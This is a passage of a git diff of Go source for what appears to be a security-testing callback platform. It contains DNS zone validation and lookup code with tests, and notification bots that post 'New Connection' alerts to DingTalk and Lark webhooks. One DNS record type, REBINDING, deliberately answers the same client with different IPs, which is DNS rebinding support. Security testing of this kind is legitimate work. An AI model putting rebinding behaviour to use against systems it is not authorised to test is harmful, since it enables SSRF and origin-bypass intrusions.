assert.Equal(t, "", NormalizeDomain("", false, false, false))
|
||||||
|
assert.Equal(t, ".", NormalizeDomain("", false, true, false))
|
||||||
|
assert.Equal(t, "foo", NormalizeDomain(" foo", false, false, false))
|
||||||
|
assert.Equal(t, "foo", NormalizeDomain("foo ", false, false, false))
|
||||||
|
assert.Equal(t, "foo", NormalizeDomain(" fOO ", true, false, false))
|
||||||
|
assert.Equal(t, "foo.", NormalizeDomain(" fOO ", true, true, false))
|
||||||
|
assert.Equal(t, "foo", NormalizeDomain(" fOO. ", true, false, true))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSplitDomain(t *testing.T) {
|
||||||
|
assert.Equal(t, []string(nil), SplitDomain("", false))
|
||||||
|
assert.Equal(t, []string(nil), SplitDomain(".", false))
|
||||||
|
assert.Equal(t, []string{"foo"}, SplitDomain("foo", false))
|
||||||
|
assert.Equal(t, []string{"foo", "bar"}, SplitDomain("foo.bar", false))
|
||||||
|
|
||||||
|
assert.Equal(t, []string(nil), SplitDomain("", true))
|
||||||
|
assert.Equal(t, []string(nil), SplitDomain(".", true))
|
||||||
|
assert.Equal(t, []string{"foo"}, SplitDomain("foo", true))
|
||||||
|
assert.Equal(t, []string{"foo.bar", "bar"}, SplitDomain("foo.bar", true))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTransferCase(t *testing.T) {
|
||||||
|
table := []struct {
|
||||||
|
src string
|
||||||
|
dst string
|
||||||
|
out string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
src: "example.com",
|
||||||
|
dst: "example.com",
|
||||||
|
out: "example.com",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
src: "EXAmple.com",
|
||||||
|
dst: "example.com",
|
||||||
|
out: "EXAmple.com",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
src: "FOO.com",
|
||||||
|
dst: "bar.com",
|
||||||
|
out: "bar.com",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
src: "foo.EXAmple.com",
|
||||||
|
dst: "example.com",
|
||||||
|
out: "EXAmple.com",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
src: "foo.EXAmple.com",
|
||||||
|
dst: "bar.example.com",
|
||||||
|
out: "bar.example.com",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for i, item := range table {
|
||||||
|
assert.Equal(t, item.out, TransferCase(item.src, item.dst), i)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import "github.com/miekg/dns"
|
||||||
|
|
||||||
|
// Type denotes the DNS record type.
|
||||||
|
type Type uint16
|
||||||
|
|
||||||
|
const (
|
||||||
|
// A records return IPV4 addresses.
|
||||||
|
A = Type(dns.TypeA)
|
||||||
|
|
||||||
|
// AAAA records return IPV6 addresses.
|
||||||
|
AAAA = Type(dns.TypeAAAA)
|
||||||
|
|
||||||
|
// CNAME records return other DNS names.
|
||||||
|
CNAME = Type(dns.TypeCNAME)
|
||||||
|
|
||||||
|
// MX records return mails servers with their priorities. The target mail
|
||||||
|
// servers must itself be returned with an A or AAAA record.
|
||||||
|
MX = Type(dns.TypeMX)
|
||||||
|
|
||||||
|
// TXT records return arbitrary text data.
|
||||||
|
TXT = Type(dns.TypeTXT)
|
||||||
|
|
||||||
|
// NS records delegate names to other name servers.
|
||||||
|
NS = Type(dns.TypeNS)
|
||||||
|
|
||||||
|
// REBINDING records return different ip when the same client requests twice.
|
||||||
|
REBINDING = Type(99)
|
||||||
|
)
|
||||||
|
|
||||||
|
func (t Type) valid() bool {
|
||||||
|
switch t {
|
||||||
|
case A, AAAA, CNAME, MX, TXT, NS, REBINDING:
|
||||||
|
return true
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func typeInList(list []Type, needle Type) bool {
|
||||||
|
for _, t := range list {
|
||||||
|
if t == needle {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
@@ -0,0 +1,101 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"encoding/json"
|
||||||
|
"sort"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/miekg/dns"
|
||||||
|
"github.com/stretchr/testify/assert"
|
||||||
|
)
|
||||||
|
|
||||||
|
func run(s *Server, addr string, fn func()) {
|
||||||
|
defer s.Close()
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
err := s.Run(addr)
|
||||||
|
if err != nil {
|
||||||
|
panic(err)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
time.Sleep(100 * time.Millisecond)
|
||||||
|
|
||||||
|
fn()
|
||||||
|
}
|
||||||
|
|
||||||
|
func serve(handler dns.Handler, addr string, fn func()) {
|
||||||
|
closer := make(chan struct{})
|
||||||
|
defer close(closer)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
err := Run(addr, handler, Accept(nil), closer)
|
||||||
|
if err != nil {
|
||||||
|
panic(err)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
time.Sleep(100 * time.Millisecond)
|
||||||
|
|
||||||
|
fn()
|
||||||
|
}
|
||||||
|
|
||||||
|
func equalJSON(t *testing.T, a, b interface{}) {
|
||||||
|
buf := new(bytes.Buffer)
|
||||||
|
|
||||||
|
e := json.NewEncoder(buf)
|
||||||
|
e.SetIndent("", " ")
|
||||||
|
|
||||||
|
_ = e.Encode(a)
|
||||||
|
aa := buf.String()
|
||||||
|
|
||||||
|
buf.Reset()
|
||||||
|
_ = e.Encode(b)
|
||||||
|
bb := buf.String()
|
||||||
|
|
||||||
|
assert.JSONEq(t, aa, bb)
|
||||||
|
}
|
||||||
|
|
||||||
|
func order(rrs []dns.RR) []dns.RR {
|
||||||
|
cpy := make([]dns.RR, len(rrs))
|
||||||
|
copy(cpy, rrs)
|
||||||
|
|
||||||
|
sort.Slice(cpy, func(i, j int) bool {
|
||||||
|
var ai string
|
||||||
|
switch rr := cpy[i].(type) {
|
||||||
|
case *dns.NS:
|
||||||
|
ai = rr.Ns
|
||||||
|
rr.Hdr.Rdlength = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
var aj string
|
||||||
|
switch rr := cpy[j].(type) {
|
||||||
|
case *dns.NS:
|
||||||
|
aj = rr.Ns
|
||||||
|
rr.Hdr.Rdlength = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
return ai < aj
|
||||||
|
})
|
||||||
|
|
||||||
|
return cpy
|
||||||
|
}
|
||||||
|
|
||||||
|
func isIOError(err error) bool {
|
||||||
|
if err == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
if strings.Contains(err.Error(), "i/o timeout") {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
if strings.Contains(err.Error(), "connection reset by peer") {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
@@ -0,0 +1,263 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/pkg/errors"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Zone describes a single authoritative DNS zone.
|
||||||
|
type Zone struct {
|
||||||
|
// The FQDN of the zone e.g. "example.com.".
|
||||||
|
Name string
|
||||||
|
|
||||||
|
// The FQDN of the master mame server responsible for this zone. The FQDN
|
||||||
|
// must be returned as A and AAAA record by the parent zone.
|
||||||
|
MasterNameServer string
|
||||||
|
|
||||||
|
// A list of FQDNs to all authoritative name servers for this zone. The
|
||||||
|
// FQDNs must be returned as A and AAAA records by the parent zone. It is
|
||||||
|
// required to announce at least two distinct name servers per zone.
|
||||||
|
AllNameServers []string
|
||||||
|
|
||||||
|
// The email address of the administrator e.g. "[email protected]".
|
||||||
|
//
|
||||||
|
// Default: "hostmaster@NAME".
|
||||||
|
AdminEmail string
|
||||||
|
|
||||||
|
// The refresh interval.
|
||||||
|
//
|
||||||
|
// Default: 6h.
|
||||||
|
Refresh time.Duration
|
||||||
|
|
||||||
|
// The retry interval for the zone.
|
||||||
|
//
|
||||||
|
// Default: 1h.
|
||||||
|
Retry time.Duration
|
||||||
|
|
||||||
|
// The expiration interval of the zone.
|
||||||
|
//
|
||||||
|
// Default: 72h.
|
||||||
|
Expire time.Duration
|
||||||
|
|
||||||
|
// The TTL for the SOA record.
|
||||||
|
//
|
||||||
|
// Default: 15m.
|
||||||
|
SOATTL time.Duration
|
||||||
|
|
||||||
|
// The TTL for NS records.
|
||||||
|
//
|
||||||
|
// Default: 48h.
|
||||||
|
NSTTL time.Duration
|
||||||
|
|
||||||
|
// The minimum TTL for all records. Either this value, or the SOATTL if lower,
|
||||||
|
// is used to determine the "negative caching TTL" which is the duration
|
||||||
|
// caches are allowed to cache missing records (NXDOMAIN).
|
||||||
|
//
|
||||||
|
// Default: 5min.
|
||||||
|
MinTTL time.Duration
|
||||||
|
|
||||||
|
// The handler that responds to requests for this zone. The returned sets
|
||||||
|
// must not be altered going forward.
|
||||||
|
Handler func(name, remoteAddr string) ([]Set, error)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validate will validate the zone and ensure the documented defaults.
|
||||||
|
func (z *Zone) Validate() error {
|
||||||
|
// check name
|
||||||
|
if !IsDomain(z.Name, true) {
|
||||||
|
return errors.Errorf("name not fully qualified: %s", z.Name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// check master name server
|
||||||
|
if !IsDomain(z.MasterNameServer, true) {
|
||||||
|
return errors.Errorf("master server not full qualified: %s", z.MasterNameServer)
|
||||||
|
}
|
||||||
|
|
||||||
|
// check name server count
|
||||||
|
if len(z.AllNameServers) < 1 {
|
||||||
|
return errors.Errorf("missing name servers")
|
||||||
|
}
|
||||||
|
|
||||||
|
// check name servers
|
||||||
|
var includesMaster bool
|
||||||
|
for _, ns := range z.AllNameServers {
|
||||||
|
if !IsDomain(ns, true) {
|
||||||
|
return errors.Errorf("name server not fully qualified: %s", ns)
|
||||||
|
}
|
||||||
|
|
||||||
|
if ns == z.MasterNameServer {
|
||||||
|
includesMaster = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// check master inclusion
|
||||||
|
if !includesMaster {
|
||||||
|
return errors.Errorf("master name server not listed as name server: %s", z.MasterNameServer)
|
||||||
|
}
|
||||||
|
|
||||||
|
// set default admin email
|
||||||
|
if z.AdminEmail == "" {
|
||||||
|
z.AdminEmail = fmt.Sprintf("hostmaster@%s", z.Name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// check admin email
|
||||||
|
if !IsDomain(emailToDomain(z.AdminEmail), true) {
|
||||||
|
return errors.Errorf("admin email cannot be converted to a domain name: %s", z.AdminEmail)
|
||||||
|
}
|
||||||
|
|
||||||
|
// set default refresh
|
||||||
|
if z.Refresh == 0 {
|
||||||
|
z.Refresh = 6 * time.Hour
|
||||||
|
}
|
||||||
|
|
||||||
|
// set default retry
|
||||||
|
if z.Retry == 0 {
|
||||||
|
z.Retry = time.Hour
|
||||||
|
}
|
||||||
|
|
||||||
|
// set default expire
|
||||||
|
if z.Expire == 0 {
|
||||||
|
z.Expire = 72 * time.Hour
|
||||||
|
}
|
||||||
|
|
||||||
|
// set default SOA TTL
|
||||||
|
if z.SOATTL == 0 {
|
||||||
|
z.SOATTL = 15 * time.Minute
|
||||||
|
}
|
||||||
|
|
||||||
|
// set default NS TTL
|
||||||
|
if z.NSTTL == 0 {
|
||||||
|
z.NSTTL = 48 * time.Hour
|
||||||
|
}
|
||||||
|
|
||||||
|
// set default min TTL
|
||||||
|
if z.MinTTL == 0 {
|
||||||
|
z.MinTTL = 5 * time.Minute
|
||||||
|
}
|
||||||
|
|
||||||
|
// check retry
|
||||||
|
if z.Retry >= z.Refresh {
|
||||||
|
return errors.Errorf("retry must be less than refresh: %d", z.Retry)
|
||||||
|
}
|
||||||
|
|
||||||
|
// check expire
|
||||||
|
if z.Expire < z.Refresh+z.Retry {
|
||||||
|
return errors.Errorf("expire must be bigger than the sum of refresh and retry: %d", z.Expire)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Lookup will lookup the specified name in the zone and return results for the
|
||||||
|
// specified record types. If no results are returned, the second return value
|
||||||
|
// indicates if there are other results for the specified name.
|
||||||
|
func (z *Zone) Lookup(name, remoteAddr string, needle ...Type) ([]Set, bool, error) {
|
||||||
|
// check name
|
||||||
|
if !IsDomain(name, true) {
|
||||||
|
return nil, false, errors.Errorf("invalid name: %s", name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// normalize name
|
||||||
|
name = NormalizeDomain(name, true, false, false)
|
||||||
|
|
||||||
|
// check name
|
||||||
|
if !InZone(z.Name, name) {
|
||||||
|
return nil, false, errors.Errorf("name does not belong to zone: %s", name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// prepare result
|
||||||
|
var result []Set
|
||||||
|
|
||||||
|
for i := 0; ; i++ {
|
||||||
|
// get sets
|
||||||
|
sets, err := z.Handler(TrimZone(z.Name, name),remoteAddr)
|
||||||
|
if err != nil {
|
||||||
|
return nil, false, errors.Wrap(err, "zone handler error")
|
||||||
|
}
|
||||||
|
|
||||||
|
// return immediately if initial set is empty
|
||||||
|
if i == 0 && len(sets) == 0 {
|
||||||
|
return nil, false, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// prepare counters
|
||||||
|
counters := map[Type]int{
|
||||||
|
A: 0,
|
||||||
|
AAAA: 0,
|
||||||
|
CNAME: 0,
|
||||||
|
MX: 0,
|
||||||
|
TXT: 0,
|
||||||
|
}
|
||||||
|
|
||||||
|
// validate sets
|
||||||
|
for _, set := range sets {
|
||||||
|
// validate set
|
||||||
|
err = set.Validate()
|
||||||
|
if err != nil {
|
||||||
|
return nil, false, errors.Wrap(err, "invalid set")
|
||||||
|
}
|
||||||
|
|
||||||
|
// check relationship
|
||||||
|
if !InZone(z.Name, set.Name) {
|
||||||
|
return nil, false, errors.Errorf("set does not belong to zone: %s", set.Name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// increment counter
|
||||||
|
counters[set.Type]++
|
||||||
|
}
|
||||||
|
|
||||||
|
// check counters
|
||||||
|
for _, counter := range counters {
|
||||||
|
if counter > 1 {
|
||||||
|
return nil, false, errors.New("multiple sets for same type")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// check apex CNAME
|
||||||
|
if counters[CNAME] > 0 && name == z.Name {
|
||||||
|
return nil, false, errors.Errorf("invalid CNAME set at apex: %s", name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// check CNAME is stand-alone
|
||||||
|
if counters[CNAME] > 0 && (len(sets) > 1) {
|
||||||
|
return nil, false, errors.Errorf("other sets with CNAME set: %s", name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// check if CNAME and query is not CNAME
|
||||||
|
if counters[CNAME] > 0 && !typeInList(needle, CNAME) {
|
||||||
|
// add set to result
|
||||||
|
result = append(result, sets[0])
|
||||||
|
|
||||||
|
// get normalized address
|
||||||
|
address := NormalizeDomain(sets[0].Records[0].Address, true, false, false)
|
||||||
|
|
||||||
|
// continue lookup with CNAME address if address is in zone
|
||||||
|
if InZone(z.Name, address) {
|
||||||
|
name = address
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
return result, false, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// add matching set
|
||||||
|
for _, set := range sets {
|
||||||
|
if typeInList(needle, set.Type) {
|
||||||
|
// add set to result
|
||||||
|
result = append(result, set)
|
||||||
|
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// return if there are not matches, but indicate that there are sets
|
||||||
|
// available for other types
|
||||||
|
if len(result) == 0 {
|
||||||
|
return nil, true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return result, false, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,207 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"io"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/stretchr/testify/assert"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestZoneValidate(t *testing.T) {
|
||||||
|
table := []struct {
|
||||||
|
zne Zone
|
||||||
|
err string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
zne: Zone{
|
||||||
|
Name: "foo",
|
||||||
|
},
|
||||||
|
err: "name not fully qualified: foo",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
zne: Zone{
|
||||||
|
Name: "example.com.",
|
||||||
|
MasterNameServer: "foo",
|
||||||
|
},
|
||||||
|
err: "master server not full qualified: foo",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
zne: Zone{
|
||||||
|
Name: "example.com.",
|
||||||
|
MasterNameServer: "n1.example.com.",
|
||||||
|
},
|
||||||
|
err: "missing name servers",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
zne: Zone{
|
||||||
|
Name: "example.com.",
|
||||||
|
MasterNameServer: "n1.example.com.",
|
||||||
|
AllNameServers: []string{
|
||||||
|
"foo",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
err: "name server not fully qualified: foo",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
zne: Zone{
|
||||||
|
Name: "example.com.",
|
||||||
|
MasterNameServer: "n2.example.com.",
|
||||||
|
AllNameServers: []string{
|
||||||
|
"n1.example.com.",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
err: "master name server not listed as name server: n2.example.com.",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
zne: Zone{
|
||||||
|
Name: "example.com.",
|
||||||
|
MasterNameServer: "n1.example.com.",
|
||||||
|
AllNameServers: []string{
|
||||||
|
"n1.example.com.",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
zne: Zone{
|
||||||
|
Name: "example.com.",
|
||||||
|
MasterNameServer: "n1.example.com.",
|
||||||
|
AllNameServers: []string{
|
||||||
|
"n1.example.com.",
|
||||||
|
},
|
||||||
|
AdminEmail: "[email protected]",
|
||||||
|
},
|
||||||
|
err: "admin email cannot be converted to a domain name: [email protected]",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
zne: Zone{
|
||||||
|
Name: "example.com.",
|
||||||
|
MasterNameServer: "n1.example.com.",
|
||||||
|
AllNameServers: []string{
|
||||||
|
"n1.example.com.",
|
||||||
|
},
|
||||||
|
Refresh: 1,
|
||||||
|
Retry: 2,
|
||||||
|
},
|
||||||
|
err: "retry must be less than refresh: 2",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
zne: Zone{
|
||||||
|
Name: "example.com.",
|
||||||
|
MasterNameServer: "n1.example.com.",
|
||||||
|
AllNameServers: []string{
|
||||||
|
"n1.example.com.",
|
||||||
|
},
|
||||||
|
Expire: 1,
|
||||||
|
Retry: 2,
|
||||||
|
},
|
||||||
|
err: "expire must be bigger than the sum of refresh and retry: 1",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for i, item := range table {
|
||||||
|
err := item.zne.Validate()
|
||||||
|
if err != nil {
|
||||||
|
assert.EqualValues(t, item.err, err.Error(), i)
|
||||||
|
} else {
|
||||||
|
assert.Equal(t, item.err, "", item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestZoneLookup(t *testing.T) {
|
||||||
|
zone := Zone{
|
||||||
|
Name: "example.com.",
|
||||||
|
MasterNameServer: "ns1.example.com.",
|
||||||
|
AllNameServers: []string{
|
||||||
|
"ns1.example.com.",
|
||||||
|
"ns2.example.com.",
|
||||||
|
},
|
||||||
|
Handler: func(name,remoteAddr string) ([]Set, error) {
|
||||||
|
if name == "error" {
|
||||||
|
return nil, io.EOF
|
||||||
|
}
|
||||||
|
|
||||||
|
if name == "invalid1" {
|
||||||
|
return []Set{
|
||||||
|
{Name: "foo"},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if name == "invalid2" {
|
||||||
|
return []Set{
|
||||||
|
{Name: "foo.", Type: A, Records: []Record{{Address: "1.2.3.4"}}},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if name == "multiple" {
|
||||||
|
return []Set{
|
||||||
|
{Name: "foo.example.com.", Type: A, Records: []Record{{Address: "1.2.3.4"}}},
|
||||||
|
{Name: "foo.example.com.", Type: A, Records: []Record{{Address: "1.2.3.4"}}},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if name == "" {
|
||||||
|
return []Set{
|
||||||
|
{Name: "example.com.", Type: CNAME, Records: []Record{{Address: "cool.com."}}},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if name == "cname" {
|
||||||
|
return []Set{
|
||||||
|
{Name: "cname.example.com.", Type: A, Records: []Record{{Address: "1.2.3.4"}}},
|
||||||
|
{Name: "cname.example.com.", Type: CNAME, Records: []Record{{Address: "cool.com."}}},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil, nil
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
err := zone.Validate()
|
||||||
|
assert.NoError(t, err)
|
||||||
|
|
||||||
|
table := []struct {
|
||||||
|
name string
|
||||||
|
err string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "foo",
|
||||||
|
err: "invalid name: foo",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "foo.",
|
||||||
|
err: "name does not belong to zone: foo.",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "error.example.com.",
|
||||||
|
err: "zone handler error: EOF",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "invalid1.example.com.",
|
||||||
|
err: "invalid set: invalid name: foo",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "invalid2.example.com.",
|
||||||
|
err: "set does not belong to zone: foo.",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "multiple.example.com.",
|
||||||
|
err: "multiple sets for same type",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "example.com.",
|
||||||
|
err: "invalid CNAME set at apex: example.com.",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "cname.example.com.",
|
||||||
|
err: "other sets with CNAME set: cname.example.com.",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for i, item := range table {
|
||||||
|
res, exists, err := zone.Lookup(item.name, "127.0.0.1", A)
|
||||||
|
assert.Equal(t, item.err, err.Error(), i)
|
||||||
|
assert.False(t, exists, i)
|
||||||
|
assert.Nil(t, res, i)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
package notice
|
||||||
|
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"github.com/li4n0/revsuit/internal/record"
|
||||||
|
log "unknwon.dev/clog/v2"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
lock sync.RWMutex
|
||||||
|
announcer *Announcer
|
||||||
|
)
|
||||||
|
|
||||||
|
// Bot is used to send notice
|
||||||
|
type Bot interface {
|
||||||
|
notice(record.Record) error
|
||||||
|
buildPayload(record.Record) string
|
||||||
|
}
|
||||||
|
|
||||||
|
// Announcer is used for storage and schedule bots
|
||||||
|
type Announcer struct {
|
||||||
|
Bots []Bot
|
||||||
|
}
|
||||||
|
|
||||||
|
// New initializes a new Announcer
|
||||||
|
func New() *Announcer {
|
||||||
|
announcer = &Announcer{Bots: make([]Bot, 0)}
|
||||||
|
return announcer
|
||||||
|
}
|
||||||
|
|
||||||
|
// AddBot add a new bot to Announcer
|
||||||
|
func (a *Announcer) AddBot(b Bot) *Announcer {
|
||||||
|
lock.RLock()
|
||||||
|
a.Bots = append(a.Bots, b)
|
||||||
|
lock.RUnlock()
|
||||||
|
return a
|
||||||
|
}
|
||||||
|
|
||||||
|
// Notice let bots to send notice
|
||||||
|
func Notice(r record.Record) {
|
||||||
|
for _, bot := range announcer.Bots {
|
||||||
|
if err := bot.notice(r); err != nil {
|
||||||
|
log.Error(err.Error())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
package notice
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/li4n0/revsuit/internal/record"
|
||||||
|
)
|
||||||
|
|
||||||
|
var _ Bot = (*DingTalk)(nil)
|
||||||
|
|
||||||
|
type DingTalk struct {
|
||||||
|
URL string
|
||||||
|
}
|
||||||
|
|
||||||
|
type dingAt struct {
|
||||||
|
AtMobiles []string `json:"atMobiles"`
|
||||||
|
IsAtAll bool `json:"isAtAll"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type dingMarkdown struct {
|
||||||
|
Title string `json:"title"`
|
||||||
|
Text string `json:"text"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type dingPayload struct {
|
||||||
|
MsgType string `json:"msgtype"`
|
||||||
|
Markdown dingMarkdown `json:"markdown"`
|
||||||
|
At []dingAt `json:"at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *DingTalk) buildPayload(r record.Record) string {
|
||||||
|
payload := dingPayload{
|
||||||
|
MsgType: "markdown",
|
||||||
|
Markdown: dingMarkdown{
|
||||||
|
Title: "New Connection",
|
||||||
|
Text: "**<font color=\"#e96900\" face=\"Fira Code\" size=\"3\">New Connection</font>**\n" +
|
||||||
|
formatRecordField(r, "> **<font color=\"#e96900\" face=\"Fira Code\">%s: </font>**<font color=\"#e96900\" face=\"Fira Code\">%v</font>\n"),
|
||||||
|
},
|
||||||
|
At: []dingAt{
|
||||||
|
{
|
||||||
|
IsAtAll: true,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
p, err := json.Marshal(&payload)
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return string(p)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *DingTalk) notice(r record.Record) error {
|
||||||
|
resp, err := http.DefaultClient.Post(d.URL, "application/json", strings.NewReader(d.buildPayload(r)))
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("HTTP request: %v", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
if resp.StatusCode/100 != 2 {
|
||||||
|
data, err := ioutil.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("read HTTP response body: %v", err)
|
||||||
|
}
|
||||||
|
return fmt.Errorf("non-success response status code %d with body: %s", resp.StatusCode, data)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
package notice
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"reflect"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/li4n0/revsuit/internal/record"
|
||||||
|
)
|
||||||
|
|
||||||
|
func formatRecordField(r record.Record,fieldFormat string) (content string) {
|
||||||
|
structType := reflect.ValueOf(r)
|
||||||
|
for i := 0; i < structType.NumField(); i++ {
|
||||||
|
structField := structType.Type().Field(i)
|
||||||
|
fieldName := structField.Name
|
||||||
|
tag := structField.Tag
|
||||||
|
label := tag.Get("notice")
|
||||||
|
if label == "-" {
|
||||||
|
continue
|
||||||
|
} else if label != "" {
|
||||||
|
fieldName = label
|
||||||
|
}
|
||||||
|
value := structType.Field(i).Interface()
|
||||||
|
if value, ok := value.(record.Record); ok {
|
||||||
|
content += formatRecordField(value, fieldFormat)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
content += fmt.Sprintf(fieldFormat+"\n", strings.ToUpper(fieldName), value)
|
||||||
|
}
|
||||||
|
strings.TrimSuffix(content, "\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
package notice
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/li4n0/revsuit/internal/record"
|
||||||
|
)
|
||||||
|
|
||||||
|
var _ Bot = (*Lark)(nil)
|
||||||
|
|
||||||
|
type Lark struct {
|
||||||
|
URL string
|
||||||
|
}
|
||||||
|
|
||||||
|
type larkText struct {
|
||||||
|
Content string `json:"content"`
|
||||||
|
Tag string `json:"tag"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type larkElement struct {
|
||||||
|
Tag string `json:"tag"`
|
||||||
|
Text larkText `json:"text"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type larkCard struct {
|
||||||
|
Header larkHeader `json:"header"`
|
||||||
|
Elements []larkElement `json:"elements"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type larkHeader struct {
|
||||||
|
Title larkText `json:"title"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type larkPayload struct {
|
||||||
|
MsgType string `json:"msg_type"`
|
||||||
|
Card larkCard `json:"card"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Lark) buildPayload(r record.Record) string {
|
||||||
|
payload := larkPayload{
|
||||||
|
MsgType: "interactive",
|
||||||
|
Card: larkCard{
|
||||||
|
Header:larkHeader{
|
||||||
|
Title: larkText{
|
||||||
|
